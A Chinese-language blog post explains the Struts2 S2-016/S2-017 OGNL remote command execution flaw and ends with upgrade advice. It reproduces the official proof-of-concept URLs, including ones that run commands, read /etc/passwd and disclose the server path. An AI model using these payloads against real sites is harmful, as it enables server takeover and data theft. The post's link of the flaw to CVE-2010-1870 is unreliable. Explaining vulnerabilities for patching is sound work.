从7.17号开始,乌云网(www.wooyun.org)开始爆各大网站的struts漏洞。
Struts 框架是Apache基金会Jakarta项目组的一个 Open Source项目,它采用MVC模式,帮助 java 开发者利用J2EE开发Web应用。Struts 框架广泛应用于运营商、政府、金融行业的门户网站建设,作为网站开发的底层模板使用,目前大量开发者利用J2EE开发Web应用的时候都会利用这个框架。
Apache Struts2 框架在2010年被发现存在一个严重命令执行漏洞(CVE-2010-1870)。近期,一系列针对此漏洞的自动化检测、利用工具在网络上公开,大大降低了利用难度。目前大量使用Struts2框架编写的网站被发现受此漏洞影响,并已在互联网上公开,这可能造成这些网站被控制、敏感数据被泄漏。使用该框架的企业包括了很多知名企业,如:淘宝,京东,腾讯,华为等,波及到了诸多互联网公司。
漏洞说明
关于这次struts2远程命令执行漏洞(s2-016,s2-017),官方是这样描述这个漏洞产生原因的:
Struts2的DefaultActionMapper类支持一种方法,可以使用”action:”, “redirect:” , “redirectAction:”对输入信息进行处理,从而改变前缀参数,这样操作的目的是方便表单中的操作。在2.3.15.1版本以前的struts2中,没有对”action:”, “redirect:” , “redirectAction:”等进行处理,导致OGNL表达式可以被执行。
详细的OGNL
官方公布的漏洞利用poc细节如下:
1. 简单表达式,OGNL表达式被求值
http://host/struts2-blank/example/X.action?action:%25{3*4}
http://host/struts2-showcase/employee/save.action?redirect:%25{3*4}
2. 命令执行
1)http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}
2)http://host/struts2-blank/example/X.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}
3)http://host/struts2-blank/example/X.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}
4)http://host/struts2-blank/example/X.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{‘cat’,'/etc/passwd’})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
3. 爆物理路径
http://host/struts2-blank/example/X.action?redirect:${%23a%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletRequest’),%23b%3d%23a.getRealPath(“/”),%23matt%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%23matt.getWriter().println(%23b),%23matt.getWriter().flush(),%23matt.getWriter().close()}
以上方法仅供学习,不用于其他用途。
漏洞修复建议
官方强烈建议升级到struts2 2.3.15.1,该版本包含校正过的struts2核心库。
===========================
关注微信“zzzmmmkkk”,不定期吐槽有关测试技术,测试经验,测试思考和生活感悟等。